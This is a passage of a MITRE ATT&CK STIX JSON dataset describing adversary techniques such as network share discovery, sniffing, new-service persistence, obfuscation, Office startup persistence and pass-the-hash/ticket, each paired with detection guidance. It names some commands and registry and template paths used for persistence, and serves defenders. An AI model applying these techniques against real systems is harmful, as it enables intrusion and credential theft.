            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Netflow/Enclave netflow",
                "Network protocol analysis",
                "Packet capture",
                "Process command-line parameters",
                "Process use of network"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:43.915Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Share Connection Removal",
            "description": "Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.",
            "external_references": [
                {
                    "external_id": "T1126",
                    "url": "https://attack.mitre.org/techniques/T1126",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/bb490717.aspx",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "source_name": "Technet Net Use"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters",
                "Packet capture",
                "Authentication logs"
            ],
            "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Established network share connection to a remote system. Level of access depends on permissions of the account used."
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:38.350Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Share Discovery",
            "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.",
            "external_references": [
                {
                    "external_id": "T1135",
                    "url": "https://attack.mitre.org/techniques/T1135",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Shared_resource",
                    "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
                    "source_name": "Wikipedia Shared Resource"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc770880.aspx",
                    "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
                    "source_name": "TechNet Shared Folder"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process Monitoring",
                "Process command-line parameters",
                "Network protocol analysis",
                "Process use of network"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Sniffing",
            "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.",
            "external_references": [
                {
                    "external_id": "T1040",
                    "url": "https://attack.mitre.org/techniques/T1040",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-158",
                    "url": "https://capec.mitre.org/data/definitions/158.html",
                    "source_name": "capec"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network device logs",
                "Host network interface",
                "Netflow/Enclave netflow",
                "Process monitoring"
            ],
            "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Network interface access and packet capture driver"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:41.399Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "New Service",
            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).",
            "external_references": [
                {
                    "external_id": "T1050",
                    "url": "https://attack.mitre.org/techniques/T1050",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-550",
                    "url": "https://capec.mitre.org/data/definitions/550.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "source_name": "TechNet Services"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "source_name": "Microsoft 4697 APR 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Pedro Harrison"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "Process monitoring",
                "Process command-line parameters",
                "Windows event logs"
            ],
            "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:45.613Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Obfuscated Files or Information",
            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)",
            "external_references": [
                {
                    "external_id": "T1027",
                    "url": "https://attack.mitre.org/techniques/T1027",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "source_name": "Volexity PowerDuke November 2016"
                },
                {
                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
                    "source_name": "Linux/Cdorked.A We Live Security Analysis"
                },
                {
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "source_name": "Carbon Black Obfuscation Sept 2016"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
                    "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.",
                    "source_name": "FireEye Revoke-Obfuscation July 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
                    "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.",
                    "source_name": "PaloAlto EncodedCommand March 2017"
                },
                {
                    "url": "https://github.com/danielbohannon/Revoke-Obfuscation",
                    "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.",
                    "source_name": "GitHub Revoke-Obfuscation"
                },
                {
                    "url": "https://github.com/itsreallynick/office-crackros",
                    "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.",
                    "source_name": "GitHub Office-Crackros Aug 2016"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Duqu",
                    "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.",
                    "source_name": "Wikipedia Duqu"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
                    "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
                    "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Red Canary",
                "Christiaan Beek, @ChristiaanBeek"
            ],
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Process use of network",
                "File monitoring",
                "Malware reverse engineering",
                "Binary file metadata",
                "Process command-line parameters",
                "Environment variable",
                "Process Monitoring",
                "Windows event logs",
                "Network intrusion detection system",
                "Email gateway",
                "SSL/TLS inspection"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis",
                "Signature-based detection",
                "Host intrusion prevention systems",
                "Application whitelisting",
                "Process whitelisting",
                "Log analysis",
                "Whitelisting by file name or path"
            ],
            "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:32.662Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Office Application Startup",
            "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n### Office Test\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)",
            "external_references": [
                {
                    "external_id": "T1137",
                    "url": "https://attack.mitre.org/techniques/T1137",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
                    "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                    "source_name": "Microsoft Change Normal Template"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
                    "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
                    "source_name": "MSDN VBA in Office"
                },
                {
                    "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
                    "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                    "source_name": "enigma0x3 normal.dotm"
                },
                {
                    "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
                    "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                    "source_name": "Hexacorn Office Template Macros"
                },
                {
                    "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
                    "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
                    "source_name": "Hexacorn Office Test"
                },
                {
                    "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
                    "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                    "source_name": "Microsoft Office Add-ins"
                },
                {
                    "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
                    "source_name": "MRWLabs Office Persistence Add-ins"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Loic Jaquemet",
                "Ricardo Dias"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters",
                "Windows Registry",
                "File monitoring"
            ],
            "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pass the Hash",
            "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)",
            "external_references": [
                {
                    "external_id": "T1075",
                    "url": "https://attack.mitre.org/techniques/T1075",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
                    "source_name": "NSA Spotting"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.",
            "x_mitre_system_requirements": [
                "Requires Microsoft Windows as target system"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:59.339Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pass the Ticket",
            "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)",
            "external_references": [
                {
                    "external_id": "T1097",
                    "url": "https://attack.mitre.org/techniques/T1097",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
                    "source_name": "Campbell 2014"
                },
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                },
                {
                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
